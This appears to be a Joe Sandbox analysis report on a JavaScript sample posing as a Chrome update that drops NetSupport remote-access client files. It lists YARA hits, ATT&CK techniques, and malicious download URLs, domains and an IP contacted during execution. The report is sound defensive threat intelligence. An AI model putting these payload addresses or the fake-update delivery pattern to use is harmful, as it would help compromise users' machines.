Source: C:\ProgramData\client32.exe

Code function: 20_2_1117594C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

20_2_1117594C

Source: C:\ProgramData\7zz.exe

Code function: 17_2_0046CF4C EntryPoint,GetVersion,GetCommandLineA,

17_2_0046CF4C

Source: C:\ProgramData\client32.exe

Code function: 20_2_1103BA70 SHGetFolderPathA,GetUserNameA,DeleteFileA,_sprintf,_fputs,_free,GetFileAttributesA,SetFileAttributesA,

20_2_1103BA70

Source: Yara match	File source: 23.2.client32.exe.715a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.73d80000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.73d80000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.715a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.client32.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.73d80000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.client32.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.715a0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.client32.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.71460000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.23256c8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.27d03f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2315d50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.23256c8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.243a908.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2432790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.243f280.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.243f280.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.3457728629.0000000000732000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3463180593.00000000033A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.1291215134.0000000000732000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1213390233.0000000000732000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.1199995240.0000000000732000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.1161392451.0000000000732000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1295823909.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1295456808.0000000000732000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7zz.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 64, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 3672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 6072, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\ProgramData\client32.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	221 Scripting	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	221 Scripting	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	12 Clipboard Data	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	3 Native API	Logon Script (Windows)	113 Process Injection	4 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Command and Scripting Interpreter	Logon Script (Mac)	1 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Data Transfer Size Limits	15 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Modify Registry	DCSync	2 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	1 Process Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Application Window Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	113 Process Injection	Network Sniffing	1 System Owner/User Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Chrome_update(1).js	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\ProgramData\7zz.exe	0%	ReversingLabs
C:\ProgramData\HTCTL32.DLL	3%	ReversingLabs
C:\ProgramData\PCICHEK.DLL	5%	ReversingLabs
C:\ProgramData\PCICL32.DLL	5%	ReversingLabs
C:\ProgramData\TCCTL32.DLL	3%	ReversingLabs
C:\ProgramData\client32.exe	12%	ReversingLabs
C:\ProgramData\msvcr100.dll	0%	ReversingLabs
C:\ProgramData\pcicapi.dll	3%	ReversingLabs
C:\ProgramData\putty.exe	0%	ReversingLabs
C:\ProgramData\remcmdstub.exe	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
mangoairsoft.com	3%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.pci.co.uk/support	0%	URL Reputation	safe
http://www.pci.co.uk/support	0%	URL Reputation	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336e	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://www.pci.co.uk/supportsupport	0%	URL Reputation	safe
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	10%	Virustotal		Browse
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://127.0.0.1RESUMEPRINTING	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/	0%	URL Reputation	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	100%	Avira URL Cloud	malware
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z	100%	Avira URL Cloud	malware
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat	4%	Virustotal		Browse
http://94.158.247.23/fakeurl.htm	100%	Avira URL Cloud	malware
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o	0%	Avira URL Cloud	safe
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
https://mangoairsoft.com/v	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-	0%	Avira URL Cloud	safe
https://magydostravel.com/cdn/zwmrqqgqnaww.php	100%	Avira URL Cloud	malware
https://mangoairsoft.com/n	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?5	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25WUySwcNIhq	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf258	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geography.netsupportsoftware.com	62.172.138.8	true	false		high
mangoairsoft.com	188.127.230.147	true	true	3%, Virustotal, Browse	unknown
geo.netsupportsoftware.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://geo.netsupportsoftware.com/location/loca.asp	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z	true	Avira URL Cloud: malware	unknown
http://94.158.247.23/fakeurl.htm	true	Avira URL Cloud: malware	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336e	wscript.exe, 00000000.00000002.1238722022.000002C2E0AB3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netsupportsoftware.com	7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	false		high
http://www.pci.co.uk/support	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://%s/testpage.htmwininet.dll	7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	false	Avira URL Cloud: safe	low
https://sectigo.com/CPS0	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false		high
http://ocsp.sectigo.com0	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://www.pci.co.uk/supportsupport	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false	URL Reputation: safe	unknown
http://ocsp.thawte.com0	7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://127.0.0.1RESUMEPRINTING	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false	URL Reputation: safe	low
http://%s/testpage.htm	7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	false	Avira URL Cloud: safe	low
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://127.0.0.1	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o	curl.exe, 0000000A.00000002.1085756382.0000020B5D3F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://%s/fakeurl.htm	7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	false	Avira URL Cloud: safe	low
https://mangoairsoft.com/v	wscript.exe, 00000000.00000002.1237996996.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1229893390.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1212962526.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-	curl.exe, 00000008.00000002.1075306154.00000163AEBD0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-	curl.exe, 00000006.00000002.1064024036.000001E29B6D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
https://magydostravel.com/cdn/zwmrqqgqnaww.php	CacheURL.dat.17.dr	false	Avira URL Cloud: malware	unknown
https://mangoairsoft.com/n	wscript.exe, 00000000.00000002.1237996996.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1229893390.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1212962526.000002C2DECC6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	7zz.exe, 00000011.00000003.1107399060.00000000022F7000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250	wscript.exe, wscript.exe, 00000000.00000002.1238722022.000002C2E0AB0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netsupportschool.com/tutor-assistant.asp11(L	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false		high
http://geo.netsupportsoftware.com/location/loca.asp0	client32.exe, 00000014.00000003.1223435505.0000000005F64000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.asppt5	client32.exe, 00000014.00000002.3459526690.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?5	wscript.exe, 00000000.00000003.1229893390.000002C2DEC95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1238985003.000002C2E18F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspv	client32.exe, 00000014.00000003.1500233432.0000000005FF8000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3465509212.0000000006017000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.asp3	client32.exe, 00000014.00000002.3464912499.0000000005F83000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1223435505.0000000005F64000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf258	wscript.exe, 00000000.00000003.1215049433.000002C2E0EFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp(t5	client32.exe, 00000014.00000002.3459526690.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.netsupportschool.com/tutor-assistant.asp	7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297511730.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25WUySwcNIhq	wscript.exe, 00000000.00000002.1238722022.000002C2E0AB0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp.	client32.exe, 00000014.00000002.3459526690.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.127.230.147	mangoairsoft.com	Russian Federation	56694	DHUBRU	true
94.158.247.23	unknown	Moldova Republic of	39798	MIVOCLOUDMD	true
62.172.138.8	geography.netsupportsoftware.com	United Kingdom	5400	BTGB	false

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1284212
Start date and time:	2023-08-02 10:45:22 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10, Office Professional Plus 2016, Chrome 115, Firefox 115, Adobe Reader 23, Java 8 Update 381
Run name:	Without Instrumentation
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Chrome_update(1).js
Detection:	MAL
Classification:	mal96.troj.spyw.evad.winJS@40/36@2/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 29.4% (good quality ratio 28.7%) Quality average: 86.7% Quality standard deviation: 22.4%
HCA Information:	Successful, ratio: 78% Number of executed functions: 163 Number of non-executed functions: 159
Cookbook Comments:	Found application associated with file extension: .js Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.181.3, 40.126.53.19, 20.190.181.23, 20.190.181.6, 20.190.181.2, 40.126.53.18, 20.190.181.0, 20.190.181.4, 204.79.197.200, 13.107.21.200
